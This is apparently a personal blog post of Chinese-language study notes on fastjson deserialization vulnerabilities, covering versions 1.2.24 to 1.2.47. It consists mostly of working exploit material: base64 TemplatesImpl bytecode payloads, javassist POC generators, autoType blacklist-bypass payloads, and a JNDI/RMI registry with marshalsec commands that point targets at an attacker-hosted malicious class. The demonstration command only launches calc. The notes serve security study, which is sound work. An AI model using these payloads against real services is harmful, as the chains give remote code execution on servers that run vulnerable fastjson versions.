该文是本人自己随手记录的漏洞调试记录,想系统学习漏洞推荐直接到参考链接看一些优秀大佬的博客

1、fastjson基本使用

Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package top.lrui1.entity;  

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

@Data
@AllArgsConstructor
@NoArgsConstructor
public class Person {
private String name;
private int age;
}

序列化

1
2
3
4
5
static void sec() {  
Person p = new Person("lrui1", 21);
String jsonString = JSON.toJSONString(p, SerializerFeature.WriteClassName, SerializerFeature.PrettyFormat);
System.out.println(jsonString);
}

反序列化

payload

1
2
3
4
5
{
"@type":"top.lrui1.entity.Person",
"age":21,
"name":"lrui1"
}

POC

1
2
3
4
5
6
7
8
9
static void unsec() {  
String payload = "{\n" +
"\t\"@type\":\"top.lrui1.entity.Person\",\n" +
"\t\"age\":21,\n" +
"\t\"name\":\"lrui1\"\n" +
"}";
Person p1 = JSON.parseObject(payload, Person.class);
System.out.println(p1.getName());
}

2、漏洞分析

fastjson-1.2.24

fastjson会识别@type字段,实现任意类的反序列化

漏洞代码

1
2
// userInput不可信
JSON.parseObject(userInput)

利用链分析

有两条比较著名的链

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

利用条件JSON.parse(poc,Feature.SupportNonPublicField)JSON.parseObject(poc,Feature.SupportNonPublicField)

反序列化链如下

1
2
3
4
TemplatesImpl.getOutputProperties // fastjson反序列化调用
TemplatesImpl.newTransformer
TemplatesImpl.defineTransletClasses // 加载bytecode到Class
TemplatesImpl.getTransletInstance

Payload如下

1
2
3
4
5
6
7
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX"],
"_name":"lrui1",
"_tfactory":{ },
"_outputProperties":{ }
}

其中的bytecode,可以这样编译下方文件生成,需要继承AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Calc extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

编译后的class文件,可以使用下方代码读取

1
2
3
4
5
// 读取字节码
byte[] bytes = Files.readAllBytes(Paths.get("Evil.class"));

// Base64 编码 java8
String encoded = Base64.getEncoder().encodeToString(bytes);

除了手动获取bytecode,也可以使用javassist构建,一次性验证的POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class fastjson1224TemplatesImpl {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.getEncoder().encodeToString(byteCode);

String poc="{\n" +
"\"@type\":\""+TemplatesImpl.class.getName()+"\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"lrui1\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

JSON.parse(poc,Feature.SupportNonPublicField);
}
}

fastjson反序列化时的特性

  • 将字段前的下划线替换成空 _namegetName 可以绑定
  • 反序列化顺序按照从上到下,依次调用settergetter

com.sun.rowset.JdbcRowSetImpl

该链利用JNDI注入的参数可控

反序列化链如下

1
2
3
JdbcRowSetImpl.setAutoCommit // fastjson调用
JdbcRowSetImpl.connect
InitialContext.lookup // JNDI注入

payload攻击载荷,使用javac Evil.java编译后,放在HTTP服务器中(可使用python -m http.server 80 快速启动)

1
2
3
4
5
6
7
8
9
10
import java.io.IOException;

public class Evil {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
}
}
}

注册JNDI目录服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import javax.naming.Reference;
import java.rmi.registry.*;

public class JNDINameRefer {
public static void main(String[] args) throws Exception {
final String SERVER_IP = "192.168.19.129";

System.setProperty("java.rmi.server.hostname",SERVER_IP);//ip为服务器外网地址

Registry registry = LocateRegistry.createRegistry(9999);
String remote_class_server = "http://"+SERVER_IP+"/";//恶意对象地址 最后的反斜杠是必须的
Reference reference = new Reference("Evil", "Evil", remote_class_server);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Evil", referenceWrapper);
System.out.println("start...");
}
}

反序列化JSON-payload

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.19.129:9999/Evil",
"autoCommit": true
}

一次性验证POC

1
2
3
4
5
6
7
8
9
static void unsec() {  
String payload = "{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://192.168.19.129:9999/Evil\",\n" +
" \"autoCommit\": true\n" +
"}";
System.out.println(payload);
JSON.parseObject(payload);
}

除了上面使用代码自建JNDI目录服务,也可以使用marshalsec项目创建目录服务 https://github.com/mbechler/marshalsec

1
2
mvn clean package -DskipTests
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.19.129/#Evil" 9999

确保HTTP服务器中存在Evil.class,然后运行验证POC,弹出计算器

参考链接 https://l3yx.github.io/2020/02/25/FastJson-1-2-24-反序列化/

fastjson-1.2.25

影响范围

1.2.25 <= fastjson < 1.2.42

相对于1.2.24,官方引入了checkAutoType机制,并且默认关闭autoTypeSupport;开启autoTypeSupport后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

使用1.2.24的POC,打断点跟进,程序会调用com.alibaba.fastjson.parser.ParserConfig#checkAutoType 方法,checkAutoType方法的大致逻辑如下

  1. autoTypeSupport开启,先查白名单,再查黑名单
  2. autoTypeSupport未开启,先查黑名单,再查白名单
  3. 开启了autoTypeSupport,黑白名单都未匹配,调用TypeUtils.loadClass

TypeUtils.loadClass中,对JVM 类型描述符进行了处理,其中存在逻辑漏洞

typeClass为Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;,经过处理后,实际加载仍然为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

payload

1
2
3
4
5
6
7
8
9
{
"@type": "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;",
"_bytecodes": [
"yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX"
],
"_name": "lrui1",
"_tfactory": {},
"_outputProperties": {}
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class fastjson1225 {
static {
// 开启autoType
System.setProperty("fastjson.parser.autoTypeSupport", "true");
}

public static void main(String[] args) throws Exception {
sec();
unsec();
}

static void unsec() throws Exception {
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode= Base64.getEncoder().encodeToString(byteCode);

String poc="{\n" +
"\"@type\":\""+TemplatesImpl.class.getName()+"\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"lrui1\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

String poc1 = "{\n" +
"\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\n" +
"\"_bytecodes\":[\"yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX\"],\n" +
"\"_name\":\"lrui1\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc1);
JSON.parseObject(poc1, Feature.SupportNonPublicField);
}
}

遇到的坑setProperty

System.setProperty("fastjson.parser.autoTypeSupport", "true") 只有在 fastjson 在读取该配置之前 执行才会生效。fastjson(或其 ParserConfig / JSON 类)的静态初始化代码通常会在类第一次被加载/使用时读取该系统属性并把值缓存到静态字段里。如果你在类已经被初始化(即已经访问过 fastjson 的任何类/方法)之后再调用 System.setProperty,fastjson 已经把旧值缓存了——所以“改”了属性但没效果。把 setProperty 放在 static(或在 main 入口开始的第一行、或用 JVM -D)就能确保在 fastjson 被初始化前设置好,从而生效。

fastjson-1.2.42

相比于之前的版本,fastjson延续了之前的黑白名单匹配机制,但是对比的方式从字符串改为hash,防止安全研究人员进行研究

重点关注ParserConfigcheckAutoType方法,新增了一个逻辑,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除

但是该去除代码只出现了一次,且调用checkAutoType方法时是递归调用(可以自己跟一下),因此可以双写绕过。

payload

1
2
3
4
5
6
7
8
9
{
"@type": "LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;",
"_bytecodes": [
"yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX"
],
"_name": "lrui1",
"_tfactory": {},
"_outputProperties": {}
}

fastjson-1.2.43

该版本修复了上版本的双写绕过,出现双写则抛出异常

image.png

既然L; 无法被利用,那就可利用[进行绕过

image.png

payload

1
2
3
4
5
6
7
8
9
{
"@type": "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{
"_bytecodes": [
"yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX"
],
"_name": "lrui1",
"_tfactory": {},
"_outputProperties": {}
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class fastjson1243 {  
public static void main(String[] args) {
System.setProperty("fastjson.parser.autoTypeSupport", "true");
String poc = "{\n" +
"\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[,{\n" +
"\"_bytecodes\":[\"yv66vgAAADQAGAEABEV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAX\"],\n" +
"\"_name\":\"lrui1\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";
System.out.println(poc);
JSON.parseObject(poc, Feature.SupportNonPublicField);
}
}

先向@type字段前添加[,后面根据报错补充

挖掘出添加[、[、{符号的思考

个人的堆栈调试记录

1、跟踪堆栈,验证JSON是否合法主要取决DefaultJSONParser中lexer的token值,12非法(默认),13合法(跟踪到5时,token不作为判断依据)

2、跟踪堆栈,lexer是JSONScanner的对象,JSONScanner继承至JSONLexerBase,并实现了JSONLexer的接口

3、阅读JSONLexerBase源码,其tokenName方法,调用JSONToken的name方法;name方法根据传入的int值返回对应的字符串

4、跟踪堆栈,DefaultJSONParser的parseObject(178line)方法实现对json的提取解析,调用JSONLexer的方法实现关键字提取

5、跟踪堆栈,DefaultJSONParser的parseObject(311line),调用checkAutoType方法对typename作校验

个人的思考总结:跟到这边,知道fastjson会对传入的json字符串做格式校验,需要满足其格式要求即可,大概逻辑是遍历字符串,匹配[、{、"关键字符,然后在进行特征值的提取,最后还原成Java Bean

具体"@type": "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{中,[{在哪段代码被解析,有无其他大佬文章参考,欢迎留言。

fastjson-1.2.44

该版本修复了上版本的[绕过问题,修复代码如下,仍然是checkAutoType方法

image.png

fastjson-1.2.45

该版本爆出黑名单绕过

绕过前提:

1、目标服务端存在mybatis的jar包。

2、版本需为 3.x.x ~ 3.5.0

3、autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)

payload

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "rmi://localhost:1099/Exploit"
}
}

具体利用参考1.2.24,com.sun.rowset.JdbcRowSetImpl利用链

fastjson-1.2.47

在checkAutoType中,942IF语句第一个条件是匹配黑名单,第二个条件是该typeName是否在缓存中,使用and连接两个条件,如果typeName在缓存中可以绕过黑名单的匹配,随后在TypeUtils.getClassFromMapping或者deserializers.findClass方法查找缓存,任一其一匹配到直接return,实现绕过

具体代码如下

image.png

现在就尝试将恶意类名注入到TypeUtils中,跟进getClassFromMapping,观察TypeUtils,方法getClassFromMapping调用mappings成员变量获取缓存的值

image.png

分析TypeUtils,寻找mapping变量执行put的方法,发现loadClass(String className, ClassLoader classLoader, boolean cache)如果cache为true,即可将className加入缓存mapping,具体代码如下

image.png

loadClass(String className, ClassLoader classLoader)方法默认cache值为true,在IDEA使用find usage搜索loadClass的调用处,发现MiscCodec类中的deserialze方法调用了loadClass

image.png

观察MiscCodec类deserialze方法,如果 parser.resolveStatus 为TypeNameRedirect 时,进入 if 语句,会解析 “val” 中的内容放入 objVal 中,然后传入 strVal 中(其中必须要有val这个键,否则语法错误)

image.png

最后根据clazz将strval调用TypeUtils类的loadClass方法,使得strval加入缓存

image.png

关于其实现了ObjectDeserializer接口,fastjson在反序列化中会调用实现了ObjectDeserializer接口的类的deserialze方法,具体代码如下(DefaultJSONParser303~386),

image.png

this.setResolveStatus(TypeNameRedirect);设置的前提条件是(来自G老师)

当前 key 是 “@type”
解析出的类型名(typeName)经过 checkAutoType() 校验返回了 合法的 Class<?> clazz
不是 立即结束的情况(即:解析完 @type 后,下一个 token 不是 }) (换句话说,if (lexer.token() == JSONToken.RBRACE) 这一块未被命中)

而MiscCodec类的反序列化Type—Class.class,可以通过deserializers.findClass搜索到缓存,deserializers在ParserConfig类中有一个初始化deserializers的操作,具体代码如下

image.png

总结,先反序列化java.lang.Class触发MiscCodec中的deserialze方法注入恶意类缓存,随后进行恶意类的反序列化即可

payload(分两次发)

1
2
3
4
5
6
7
8
9
10
11
12
{
"lrui1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"lrui2": ""
}
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.1.2:9999/Evil",
"autoCommit": true
}

可将上述payload简化为下方json

1
2
3
4
5
6
7
8
9
10
11
{
"lrui1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"lrui2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.1.2:9999/Evil",
"autoCommit": true
}
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
String poc = "{\n" +
" \"lrui1\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"lrui2\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"rmi://192.168.1.2:9999/Evil\",\n" +
" \"autoCommit\": true\n" +
" }\n" +
"} ";
System.out.println(poc);
JSON.parseObject(poc);

JNDI相关利用可参考fastjson-1.2.24

现在可以解释一下,该漏洞的利用,分为两种情况

  1. 1.2.25-1.2.32:
    未开启AutoTypeSupport时能成功利用
  2. 1.2.33-1.2.47:
    无论是否开启AutoTypeSupport都能成功利用

先解释下1.2.33 <= fastjson <= 1.2.47,具体如图所示

image.png

1.2.25 <= fastjson <= 1.2.32 具体如图所示

image.png

fastjson-1.2.68

太复杂了,先鸽着

fastjson-1.2.80

太复杂了,先鸽着

PS

1、关于TemplatesImpl,为什么不直接给_class序列化值,而是要通过加载bytecode?

观察以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
       throws TransformerConfigurationException {
   try {
       if (_name == null) return null;

       if (_class == null) defineTransletClasses();

       // The translet needs to keep a reference to all its auxiliary
       // class to prevent the GC from collecting them
       AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
       translet.postInitialization();
       translet.setTemplates(this);
       translet.setServicesMechnism(_useServicesMechanism);
       translet.setAllowedProtocols(_accessExternalStylesheet);
       if (_auxClasses != null) {
           translet.setAuxiliaryClasses(_auxClasses);
      }

       return translet;
  }
   catch (InstantiationException e) {
       ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
       throw new TransformerConfigurationException(err.toString());
  }
   catch (IllegalAccessException e) {
       ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
       throw new TransformerConfigurationException(err.toString());
  }
}

触发类实例化的代码是有,但是仅仅是类的实例化,即使加载了Runtime,也无法调用其getRuntime().exec()方法,所以要通过加载自定义bytecode,在类实例化期间实现反射加载Runtime,实现RCE

2、fastjson 反序列化为什么调用getter ?

参考**https://goodapple.top/archives/832**

需要满足

1
2
3
4
5
6
只存在getter方法,无settet方法。
方法名称长度大于4。
非静态方法。
方法名以get开头,且第四个字符为大写字母。
方法不用传入参数。
方法的返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和AtomicLong的其中一个。

demo代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package top.lrui1.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Fastjson_Learning {
   public static void main(String[] args) {
       String json = "{\\n" +
               " \\"@type\\": \\"top.lrui1.Person\\",\\n" +
               " \\"name\\": \\"lrui1\\",\\n" +
               " \\"age\\": 22,\\n" +
               " \\"dataMap\\": {\\"key\\": \\"value\\"}\\n" +
               "}";

       Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
       System.out.println("反序列化完成");
       System.out.println(obj);
  }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package top.lrui1;

import java.util.HashMap;
import java.util.Map;

public class Person {
   private String name;
   private int age;
   private Map<String, String> dataMap = new HashMap<>();

   public Person() {
       System.out.println("调用无参构造方法");
  }

   public String getName() {
       System.out.println("调用 getName");
       return name;
  }

   public int getAge() {
       System.out.println("调用 getAge");
       return age;
  }

   // 这个 getter 会被自动调用
   public Map<String, String> getDataMap() {
       System.out.println("调用 getDataMap");
       return dataMap;
  }

   @Override
   public String toString() {
       return "Person{" +
               "name='" + name + '\\'' +
               ", age=" + age +
               ", dataMap=" + dataMap +
               '}';
  }
}

参考链接

https://www.freebuf.com/articles/web/283585.html

https://su18.org/post/fastjson/

https://blog.csdn.net/Destiny_one/article/details/142203895

https://zhuanlan.zhihu.com/p/665655608